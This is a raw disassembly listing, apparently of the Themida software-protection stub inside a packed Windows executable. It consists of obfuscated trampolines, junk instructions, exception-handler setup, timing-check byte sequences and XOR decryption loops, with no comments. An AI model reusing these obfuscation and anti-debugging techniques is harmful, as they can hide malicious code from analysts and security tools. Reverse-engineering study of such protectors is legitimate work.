		dd 0BD8B0614h, 6140E3Dh, 0C618CB80h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F10E4CC3h
		dd 0F53FEDDh, 86h, 4985C700h, 6141Eh, 0E9000000h, 0Ah
		dd 222462D8h, 33F04211h, 0E9F978C9h, 0FFFFF357h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E0C35646h, 9B438974h
		dd 8D89CD1Bh, 6142FA5h,	0B70FC18Bh, 91858DFBh, 90061407h
		dd 665043B3h, 90D7BFBFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 9BC35343h, 8D9D89DFh,	6A061411h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 29429DDCh, 1419998Dh, 0D3816606h, 6A7090h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C2C35040h, 0CA858DF5h
		dd 0F9061918h, 0AB8DBB66h, 6A05C083h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DAA0C353h
		dd 90FE8BDEh, 0CD106EBFh, 8C0F504Fh, 2,	6A90DE8Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 5302C356h, 11E924Ch,	0CB42BA28h, 8B50DE8Bh, 6A5FDEh
		dd 1C19D23h, 6A0614h, 301DBD23h, 95FF0614h, 6141B19h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 95C35646h, 0A7788D8Dh
		dd 0BD8B0617h, 6140771h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 831471C3h, 1401CDBDh
		dd 850F0106h, 4Eh, 6E9h, 46064600h, 6AB83BADh, 0A5B52902h
		dd 50061412h, 0A40BB66h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6607C357h
		dd 0D963FBA8h, 562DD4F7h, 95FF5FFCh, 61433ADh, 6226F381h
		dd 24E9207Fh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 61918D4h
		push	0
		push	eax
		call	sub_5CF482
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF482	proc near		; CODE XREF: Themida_:005CF47Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CF482	endp

; ---------------------------------------------------------------------------
		mov	[ebx-42h], dh
		mov	dl, 60h
		jnz	loc_5CF4B7
		call	sub_5CF4B6
		push	0FFFFFFBEh
		jmp	short loc_5CF4DD
; ---------------------------------------------------------------------------
		dw 0C910h
		dd 450E386Fh, 0E6D034AAh, 0DA292001h
		db 1Dh,	0EFh

; =============== S U B	R O U T	I N E =======================================



sub_5CF4B6	proc near		; CODE XREF: Themida_:005CF49Dp
		pop	edx


loc_5CF4B7:				; CODE XREF: Themida_:005CF497j
		mov	[ebp+6140795h],	edi
		popa
		lea	eax, [ebp+6178E49h]
		push	0
		push	esi
		call	sub_5CF4CF
		and	[esi-3Dh], bl
sub_5CF4B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF4CF	proc near		; CODE XREF: sub_5CF4B6+11p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi


loc_5CF4DD:				; CODE XREF: Themida_:005CF4A4j
		push	esi
		retn
sub_5CF4CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	bl, bh
		jmp	loc_5CF4F0
; ---------------------------------------------------------------------------
		add	[ebp-5C9F5537h], esp
		test	[esi-10h], esi
		inc	edi


loc_5CF4F0:				; CODE XREF: Themida_:005CF4E1j
		or	[ebp+6140B69h],	ebx
		push	eax
		mov	di, ax
		mov	[esp], eax
		mov	bl, 3Ch
		push	large dword ptr	fs:0
		mov	di, 3B13h
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5CF51C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF51C	proc near		; CODE XREF: Themida_:005CF514p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5CF51C	endp

; ---------------------------------------------------------------------------
		dd 0AF087828h, 0CB819019h, 2D5399A5h, 0FFDEBF0Fh, 142DED85h
		dd 7E806h, 2CA50000h, 506571A8h, 38F0FDEh, 80000000h, 6A5B90EFh
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9B97BF44h, 0B5FF0CAEh, 6140D09h,	0B4E78166h
		dd 8995FF09h, 0E906142Ah, 100h,	0B0F88Ah, 0AD6CF0BBh, 970E66Bh
		dd 1419C9BDh, 0F71E406h, 68Fh, 870F00h,	3C000000h, 0D9830F61h
		dd 9000000h, 140EF5BDh,	0C8B60F06h, 9D8B43B3h, 61418D9h
		dd 6BAh, 11852900h, 66061401h, 167E781h, 0FC8AC18Bh, 3304E8C1h
		dd 1434C99Dh, 0E2F76606h, 6BCF8166h, 89C82BDEh,	1404BD8Dh
		dd 0D18BFC06h, 8F84C381h, 8DE93B14h, 0E9000000h, 0Dh, 955BAC05h
		dd 0B3C2C4B4h, 86050A51h, 49858B89h, 8944004Eh,	14076DB5h
		dd 75952906h, 8306140Eh, 816607C0h, 83A71AF7h, 9D8B00C0h
		dd 6141DC9h, 830FD03Bh,	0Dh, 0E9FA8B66h, 48h, 2F5F1DBBh
		dd 0FF8D8B0Ah, 8BFFFFFFh, 1E183DFh, 32840Fh, 0BF660000h
		dd 0A5839688h, 0FFFFFFFFh, 0B5BB66FEh, 499589EBh, 0F44004Eh
		dd 1284h, 0DE900h, 0C2E50000h, 2AA6C04Ah, 0A50E58h, 0E9074D71h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6188779h]
		jo	loc_5CF69D
		cmc


loc_5CF69D:				; CODE XREF: Themida_:005CF696j
		push	0
		push	0
		push	ebx
		call	sub_5CF6AA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF6AA	proc near		; CODE XREF: Themida_:005CF6A2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CF6AA	endp

; ---------------------------------------------------------------------------
		and	eax, 0EB816665h
		std
		inc	ecx
		call	dword ptr [ebp+6142971h]
		call	sub_5CF6D5
		lea	esp, [edi+ebx*8-70h]
		rol	byte ptr [edx-7], 1
		add	al, 2Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CF6D5	proc near		; CODE XREF: Themida_:005CF6C7p
		jmp	sub_5CF6E2
sub_5CF6D5	endp

; ---------------------------------------------------------------------------
		dw 0FAD7h
		dd 0BFCE4CCFh
		db 56h,	3Eh

; =============== S U B	R O U T	I N E =======================================



sub_5CF6E2	proc near		; CODE XREF: sub_5CF6D5j
		pop	ebx
		mov	ecx, 0EE7h
		push	0
		push	ecx
		call	sub_5CF6F3
		and	[ecx-3Dh], bl
sub_5CF6E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF6F3	proc near		; CODE XREF: sub_5CF6E2+9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CF6F3	endp

; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------
		mov	edi, 51D9CD79h
		and	ecx, 0FFFFFFFCh
		push	0
		push	edx
		call	sub_5CF717
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF717	proc near		; CODE XREF: Themida_:005CF70Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CF717	endp

; ---------------------------------------------------------------------------
		test	esi, edx
		fdivr	st, st(1)
		xchg	eax, edx
		leave
		fldcw	word ptr ds:0BD29FCD2h
		fstp	qword ptr [eax]
		adc	al, 6
		cld
		push	0
		push	esi
		call	sub_5CF743
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF743	proc near		; CODE XREF: Themida_:005CF73Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CF743	endp

; ---------------------------------------------------------------------------
		sbb	[edi+6CD7F5A1h], eax
		push	3Dh
		imul	ecx, [ebx+140A69BDh], 6
		sub	eax, eax
		or	[ebp+6140795h],	ecx
		sub	edx, edx
		push	0
		push	ebx
		call	sub_5CF777
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF777	proc near		; CODE XREF: Themida_:005CF76Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CF777	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 0D8B0F00h, 0E9000000h, 8, 63D9E7EEh,	0AE1C6177h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0AAC35141h, 119D89DCh, 6A061425h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 31CFC350h, 76BE4F1Ah, 0C2FCE75Bh, 5BDA8B56h,	880Dh
		dd 958BF900h, 6142B69h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0A2C35343h, 6613F429h, 0DB74CB81h, 10558D8Bh
		dd 91BB0614h, 8B552685h, 1420859Dh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 519D8BFEh, 8306140Ch
		dd 140F4DBDh, 840F0006h, 4Fh, 4458D381h, 0B87FCFh, 66000000h
		dd 8D2A38BBh, 144DFF8Dh, 21BD8B06h, 0FF06140Eh,	52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D4087744h, 0CBAD56BCh, 0FF5B583h, 68Ah, 0C9950900h
		dd 83061434h, 14013DBDh, 840F0006h, 541h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 7CC35646h, 8F0F99E8h
		dd 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+614013Dh], 1
		jz	loc_5CFE14
		push	0
		push	ecx
		call	sub_5CF8F4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF8F4	proc near		; CODE XREF: Themida_:005CF8ECp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5CF8F4	endp

; ---------------------------------------------------------------------------
		or	ebx, [edi+0B371CD8h]
		mov	bl, cl
		cmp	dword ptr [ebp+614013Dh], 3
		jbe	loc_5CFDDE
		mov	[ebp+6140AA5h],	ebx
		mov	edi, [ebp+61402DDh]
		pusha
		push	0
		push	edi
		call	sub_5CF931
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF931	proc near		; CODE XREF: Themida_:005CF929p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CF931	endp

; ---------------------------------------------------------------------------
		db 28h,	3Fh, 0F2h
		dd 0D8E4163Ah, 14E9D0ABh, 56000000h, 0EC083FBEh, 0E48F91F7h
		dd 68CADC83h, 5FBCAB14h, 0FBF1DEAh, 681h, 0E9BD8B00h, 66061401h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 9D5369C3h, 8BF92FBFh, 0E95653FEh,	7, 6203294Bh
		dd 5B68ED2Dh, 4E1805Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 51C35747h, 4CBF4C99h,	0E944F6F2h, 9
		dd 0CA5300B7h, 6DCBB785h, 88E780D5h, 840FC90Ah,	181h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 93C35545h, 9B2E05A2h
		dd 8BA10944h, 140E3585h, 68D0F06h, 8B000000h, 141CF59Dh
		dd 0A9853306h, 6A061406h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B0C1C355h,	799D8B91h
		dd 50061434h, 0EE8h, 0D61E6100h, 0E68545Eh, 0E5EBD435h
		dd 668F0A23h, 895FD98Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0EF8E24C3h, 2B398D89h
		dd 6A0614h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0E6C35141h, 81EFEB36h, 88AD52D7h, 4E843h, 3FF0000h
		dd 46BF001Fh, 50416D20h, 8E9h, 36808B00h, 30D8131Dh, 24448BDCh
		dd 14E86004h, 0BF000000h, 32A40981h, 674E856Bh,	83865F48h
		dd 59EFB906h, 504B62A9h, 5A310F52h, 8B615B58h, 0DF8B6600h
		dd 4244489h, 84FB15BFh,	6A5812h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6C9B56C3h, 95FF13AEh
		dd 614089Dh, 23C38166h,	0EA8589ADh, 0E90617A7h,	0Eh, 15D9E148h
		dd 9F3B3AC9h, 8E64B6C8h, 0BE95E2Fh, 6A000002h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EF19C355h, 0B7A86539h, 0E2858BC6h, 6A0617A7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C027C357h, 52609E9Dh, 198DBD89h, 8B5B0614h,	0C761C8h
		dd 18h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0D9C35646h, 8B3B2F11h, 17A7E6B5h, 81858B06h,	6A061402h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A49FC353h, 0AB8536F8h, 1348FBEFh, 6A0689FCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 778EC357h, 0E4293222h, 899534B5h,	140469BDh
		dd 35858B06h, 6606140Eh, 0CE9FF381h, 6A044689h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 1186C350h, 0AE0AC0BEh, 79706A81h, 0E850D98Bh, 12h, 3726E5C4h
		dd 5B71C665h, 0A0E9DCB8h, 9CBD8393h, 895FA755h,	0BB662434h
		dd 0B5FFAC82h, 617A7E2h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 6DC35242h, 4DB0EDA5h,	0FFCB650h, 188Dh
		dd 13E900h, 4FC80000h, 97AD6AFCh, 2DB35EAFh, 0E1931E14h
		dd 692D6632h, 11BD89C5h, 6806142Bh, 780B0E9h, 0ED89B5BBh
		dd 24348107h, 79FB316h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 5AC35141h, 4527D09Bh,	858D5479h, 617A7EAh
		dd 17880Fh, 12E90000h, 15000000h, 0F68451C5h, 5A2D11E7h
		dd 2BA5FB6Ah, 0E6F12939h, 0B58589D0h, 90061433h, 6650F88Bh
		dd 990F98Bh, 14183D8Dh,	0DBBF0F06h, 89D95FFh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0B0B931C3h, 6A6161B9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89FCC351h, 140BB9B5h
		dd 3D85C706h, 3061401h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A6F7C355h
		dd 0BD83CB27h, 617A7EAh, 37840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 73AEC352h, 0F4D3884h, 2AE9D9BFh, 0F000000h, 988h, 38C0F00h
		dd 66000000h
; ---------------------------------------------------------------------------
		mov	ebx, edi


loc_5CFDDE:				; CODE XREF: Themida_:005CF913j
					; Themida_:005CFDF5j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFDDE
		jmp	short loc_5CFE2F
; ---------------------------------------------------------------------------


loc_5CFDF9:				; CODE XREF: Themida_:005CFE10j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CFDF9
		jmp	short loc_5CFE2F
; ---------------------------------------------------------------------------


loc_5CFE14:				; CODE XREF: Themida_:005CF8E3j
					; Themida_:005CFE2Bj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CFE14
		jmp	short $+2


loc_5CFE2F:				; CODE XREF: Themida_:005CFDF7j
					; Themida_:005CFE12j
		mov	eax, eax
		mov	di, bx
		movsx	edi, cx
		cmp	dword ptr [ebp+614013Dh], 3
		jnz	loc_5D017C
		push	0
		push	ebp
		call	sub_5CFE4F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE4F	proc near		; CODE XREF: Themida_:005CFE47p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5CFE4F	endp

; ---------------------------------------------------------------------------
		db 66h
		dd 6421D6ABh, 0A7EABD83h, 0F000617h, 30B84h, 0EAB5FF00h
		dd 570617A7h, 3059BD89h, 8B5B0614h, 1433A5BDh, 3995FF06h
		dd 66061403h, 8672DB81h, 0A7DEB58Bh, 0BD230617h, 6141B9Dh
		dd 106C7h, 0B5890001h, 6141531h, 8E896h, 83C40000h, 7A625EFCh
		dd 8E826FDh, 48000000h,	0B3A0C9EBh, 0E91FEFCFh,	0Dh, 89D9ED04h
		dd 0DDC6393Eh, 560B58EDh, 505B5BF2h, 89963FB7h,	1423398Dh
		dd 0D5858906h, 0FF06140Eh, 17A7EAB5h, 0FF5B5106h, 14108195h
		dd 0C2806006h, 61FC609Fh, 0DEB58B61h, 0BB0617A7h, 20C1DCDh
		dd 0FF9858Bh, 0E7810614h, 603AB102h, 0C48689h, 0D98B0000h
		dd 2B69958Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 4CA1CCC3h, 0BD23AB98h, 61416CDh
		dd 6A04C283h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 9EF3C350h, 0E9BD8B46h,	8906141Ch
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E90141C3h, 73CD3A93h, 0FB8B9EEDh, 2959D09h
		dd 858D0614h, 617BC23h,	7E8h, 196ECB00h, 95B64BC1h, 61850360h
		dd 8906142Ah, 140E19BDh, 895F6106h, 0B886h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0FFF5D981h, 57D6B92Fh, 2CBBFC89h, 6A665A20h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C78152DBh, 6995E91Ah, 0EAB5FF5Bh, 6A0617A7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0D4A6C356h, 8A7923C2h, 0FF62C5CCh, 1433AD95h, 0CE806h
		dd 0A7F90000h, 0F5D61715h, 72B62E66h, 85BFCC7Ch, 5F3B18EFh
		dd 9E950h, 27F60000h, 0B3E8465Bh, 89C5FEF7h, 0BD292434h
		dd 6140949h, 169BD8Bh, 0B5FF0614h, 617A7EAh, 37DBD33h
		dd 880F0614h, 5, 13CF8166h, 995FF7Ch, 0F9061423h, 1189BD83h
		dd 0F000614h, 2584h, 0DF816600h, 895074AEh, 6A2434h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0B5FFB0C3h, 617A7EAh, 261BD33h, 95FF0614h, 61402D5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 55C35646h
		dd 0EACF0818h, 859D8BEDh, 0FF061412h, 17A7EAB5h, 0A806BB06h
		dd 95FF4554h, 6140B75h,	6820Fh,	0E3810000h, 5183F30Ah
		dd 112DBD83h, 0F020614h, 1784h,	39850100h, 8B06141Ch, 14005585h
		dd 89FB8B06h, 141B9D8Dh, 0C606h, 1E4985C7h, 614h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6B09BEC3h, 0BB663AAAh, 5E9BAC2h, 89000000h, 3D1890D7h
; ---------------------------------------------------------------------------


loc_5D017C:				; CODE XREF: Themida_:005CFE3Ej
		jmp	near ptr dword_5CF52C+2Bh
; ---------------------------------------------------------------------------
		mov	[ebp+6142A15h],	eax
		mov	eax, ecx
		mov	ebx, [ebp+6141675h]
		lea	eax, [ebp+6140791h]
		xor	di, 731Eh
		nop
		mov	edi, eax
		push	eax
		nop
		add	bh, 0F8h
		push	0
		jno	loc_5D01B0
		mov	ebx, [ebp+6143031h]


loc_5D01B0:				; CODE XREF: Themida_:005D01A4j
		push	0
		push	0
		push	ebp
		call	sub_5D01BD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D01BD	proc near		; CODE XREF: Themida_:005D01B5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D01BD	endp

; ---------------------------------------------------------------------------
		aas
		pop	ss
		lea	eax, [ebp+61927D4h]
		push	0
		push	ebx
		call	sub_5D01E0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D01E0	proc near		; CODE XREF: Themida_:005D01D8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D01E0	endp

; ---------------------------------------------------------------------------
		dd 681324Ah, 5C0839Fh, 34899D01h, 0F7800614h, 525050B4h
		dd 310FDE8Bh, 7E8h, 58D95A00h, 0D648B57h, 5A5F5B52h, 24048958h
		dd 1C51BD29h, 6A0614h, 7D8BBA60h, 0A7B97BDEh, 614591E6h
		dd 2E658501h, 6A0614h, 98D78166h, 1995FF7Ah, 6A06141Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0A379C352h, 0EA68C0ECh, 0D5858970h, 8906141Bh
		dd 14311985h, 788D8D06h, 6A0617A7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D820C357h
		dd 0F4A124B7h, 19BD2BEBh, 0FF061419h, 50006AD1h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 810B3A39h, 0BE5143EFh, 0CDBD832Dh, 1061401h,	9E850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B56504C3h, 10E89A4Bh, 39000000h,	0DCFD68B9h
		dd 1B7C2F3Ch, 8CB136FCh, 0F953A533h, 90026A5Bh,	0F525060h
		dd 8F0F31h, 5A000000h, 66506158h, 908BFDBBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E6C35141h, 4E8E15ECh
		dd 6638BF5Ah, 95FF2666h, 61433ADh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 6C35141h, 0EB699B99h, 0DFBF0F98h
		dd 0E7FE9h, 0E800h, 815D0000h, 1927DEEDh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6AF438h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 7CC6A6C3h, 858DD8C0h, 6178E49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F7C35747h, 12E990F5h
		dd 0E9000000h, 7FBC4B97h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh
		dd 66505051h, 905BD98Bh, 6840Fh, 85890000h, 6142B61h, 35FF64h
		dd 1000000h, 140AB595h,	0ECBF6606h, 2589649Ah, 0
; ---------------------------------------------------------------------------
		jz	loc_5D0430
		mov	[ebp+6141FCDh],	esi


loc_5D0430:				; CODE XREF: Themida_:005D0424j
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	eax
		call	sub_5D0441
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0441	proc near		; CODE XREF: Themida_:005D0439p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5D0441	endp

; ---------------------------------------------------------------------------
		mov	esi, [edi+19h]
		mov	di, 0DBF3h
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_5D0465
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0465	proc near		; CODE XREF: Themida_:005D045Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D0465	endp

; ---------------------------------------------------------------------------
		leave
		xlat
		shl	byte ptr [ebx+1Ch], 1
		mov	edi, 5727F6D8h
		push	dword ptr [ebp+6140499h]
		push	0
		push	ecx
		call	sub_5D0490
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0490	proc near		; CODE XREF: Themida_:005D0488p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D0490	endp

; ---------------------------------------------------------------------------
		dd 0D3150BEDh, 814B8F5Eh, 0BED970D7h, 8995FF60h, 0E906142Ah
		dd 0E7h, 0AD5BBB66h, 0C38100B0h, 29A3D4DEh, 0B58970E6h
		dd 6140329h, 0BD8B71E4h, 6140DD9h, 830F613Ch, 0C3h, 66C8B60Fh
		dd 6BAFB8Bh, 8B000000h,	55BD2BC1h, 0C106142Dh, 0EEB304E8h
		dd 2BE2F766h, 0FFBF0FC8h, 870FD18Bh, 3,	8BF88B66h, 1400959Dh
		dd 8DE906h, 0BD8B0000h,	6142D95h, 4C4C858Bh, 81B7505Fh
		dd 38D0Fh, 0BF0F0000h, 7C083DFh, 68B0F51h, 29000000h, 1416E19Dh
		dd 0C0835B06h, 85895300h, 6142301h, 0FD03B5Fh, 0D83h, 23F88A00h
		dd 1408A99Dh, 45E906h, 8D8B0000h, 0FFFFFFFFh, 9141EF81h
		dd 81665D00h, 8338E3C7h, 840F01E1h, 2Bh, 2BDA88BFh, 0FFA58320h
		dd 0FEFFFFFFh, 6E9h, 0E1221400h, 89A33EB3h, 5F4C4C95h
		dd 0FAB70F50h, 18B1BD0Bh, 0E90614h, 8D000000h, 189C48B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 6AB5E292h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0DFA8BACEh
		dd 8F0FB9F4h, 4, 0CFDFBF66h, 297195FFh,	6A0614h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DC3631C3h, 544A9ECFh, 6880F24h, 81000000h, 0B198AEFh
		dd 0FC3B901h, 9D330000h, 6140D51h, 89BD2B50h, 5B061406h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9E6EC356h, 8F3C3CDBh, 0FC5C7BD9h
		dd 0DE9h, 808F0D00h, 376A6E0Ah,	0AF42F679h, 0B85213h, 8B000000h
		dd 2BF98BF8h, 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0E1F2645Ah, 8C0FEAB3h, 0
; ---------------------------------------------------------------------------


loc_5D06A4:				; CODE XREF: Themida_:005D06AEj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D06A4
		mov	ebx, [ebp+61400F5h]
		mov	ebx, 4EC7D2A2h
		or	eax, 88h
		push	0
		push	eax
		call	sub_5D06CB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



